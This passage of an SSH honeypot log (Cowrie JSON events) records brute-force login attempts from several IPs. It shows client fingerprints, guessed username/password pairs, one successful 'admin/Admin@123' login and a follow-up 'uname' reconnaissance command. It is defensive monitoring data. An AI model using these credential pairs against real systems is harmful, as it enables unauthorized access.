compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:31.509560Z","src_ip":"45.156.87.147","session":"304c38d00c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:31.914508Z","src_ip":"45.156.87.147","session":"304c38d00c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:32.997693Z","src_ip":"45.156.87.147","session":"304c38d00c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34302,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f0d34c1471","protocol":"ssh","message":"New connection: 45.156.87.147:34302 (10.17.0.5:22) [session: 17f0d34c1471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:37.157038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:37.160532Z","src_ip":"45.156.87.147","session":"17f0d34c1471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:37.242349Z","src_ip":"45.156.87.147","session":"17f0d34c1471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:37.486107Z","src_ip":"45.156.87.147","session":"17f0d34c1471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:38.574517Z","src_ip":"45.156.87.147","session":"17f0d34c1471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":50778,"dst_ip":"10.17.0.5","dst_port":22,"session":"edb3d0b5a801","protocol":"ssh","message":"New connection: 8.219.200.1:50778 (10.17.0.5:22) [session: edb3d0b5a801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:39.744571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:39.990149Z","src_ip":"8.219.200.1","session":"edb3d0b5a801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:40.224516Z","src_ip":"8.219.200.1","session":"edb3d0b5a801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:41.227833Z","src_ip":"8.219.200.1","session":"edb3d0b5a801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:42.619849Z","src_ip":"8.219.200.1","session":"edb3d0b5a801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53858,"dst_ip":"10.17.0.5","dst_port":22,"session":"030ad89067fe","protocol":"ssh","message":"New connection: 45.156.87.147:53858 (10.17.0.5:22) [session: 030ad89067fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:42.734305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:42.737052Z","src_ip":"45.156.87.147","session":"030ad89067fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:42.817953Z","src_ip":"45.156.87.147","session":"030ad89067fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:43.066895Z","src_ip":"45.156.87.147","session":"030ad89067fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":49250,"dst_ip":"10.17.0.5","dst_port":22,"session":"946752ae3b11","protocol":"ssh","message":"New connection: 103.27.238.120:49250 (10.17.0.5:22) [session: 946752ae3b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:43.141682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:43.144953Z","src_ip":"103.27.238.120","session":"946752ae3b11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:43.428799Z","src_ip":"103.27.238.120","session":"946752ae3b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:44.153401Z","src_ip":"45.156.87.147","session":"030ad89067fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atljhjd","message":"login attempt [root/atljhjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:44.281130Z","src_ip":"103.27.238.120","session":"946752ae3b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:45.568460Z","src_ip":"103.27.238.120","session":"946752ae3b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53862,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91876c3f24e","protocol":"ssh","message":"New connection: 45.156.87.147:53862 (10.17.0.5:22) [session: b91876c3f24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:48.496274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:48.502234Z","src_ip":"45.156.87.147","session":"b91876c3f24e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:48.588860Z","src_ip":"45.156.87.147","session":"b91876c3f24e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:48.839497Z","src_ip":"45.156.87.147","session":"b91876c3f24e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:49.926001Z","src_ip":"45.156.87.147","session":"b91876c3f24e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37702,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbff15465ad","protocol":"ssh","message":"New connection: 45.156.87.147:37702 (10.17.0.5:22) [session: 6dbff15465ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:54.439927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:54.444590Z","src_ip":"45.156.87.147","session":"6dbff15465ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:54.526828Z","src_ip":"45.156.87.147","session":"6dbff15465ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:54.779677Z","src_ip":"45.156.87.147","session":"6dbff15465ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:55.865304Z","src_ip":"45.156.87.147","session":"6dbff15465ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.34.175.48","src_port":42398,"dst_ip":"159.203.135.109","dst_port":23,"session":"37df8f375d7d","protocol":"telnet","message":"New connection: 38.34.175.48:42398 (159.203.135.109:23) [session: 37df8f375d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:59.950300Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44638,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2d0ec4bd4be","protocol":"ssh","message":"New connection: 45.156.87.147:44638 (10.17.0.5:22) [session: d2d0ec4bd4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.327670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.331206Z","src_ip":"45.156.87.147","session":"d2d0ec4bd4be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.413629Z","src_ip":"45.156.87.147","session":"d2d0ec4bd4be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.663641Z","src_ip":"45.156.87.147","session":"d2d0ec4bd4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.8745260238647461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.824723Z","src_ip":"38.34.175.48","session":"37df8f375d7d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.869457Z","src_ip":"45.156.87.147","session":"d2d0ec4bd4be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.872067Z","src_ip":"45.156.87.147","session":"d2d0ec4bd4be","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.957179Z","src_ip":"45.156.87.147","session":"d2d0ec4bd4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:00.960787Z","src_ip":"45.156.87.147","session":"d2d0ec4bd4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44652,"dst_ip":"10.17.0.5","dst_port":22,"session":"991bbcfff31a","protocol":"ssh","message":"New connection: 45.156.87.147:44652 (10.17.0.5:22) [session: 991bbcfff31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:06.117639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:06.122020Z","src_ip":"45.156.87.147","session":"991bbcfff31a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-c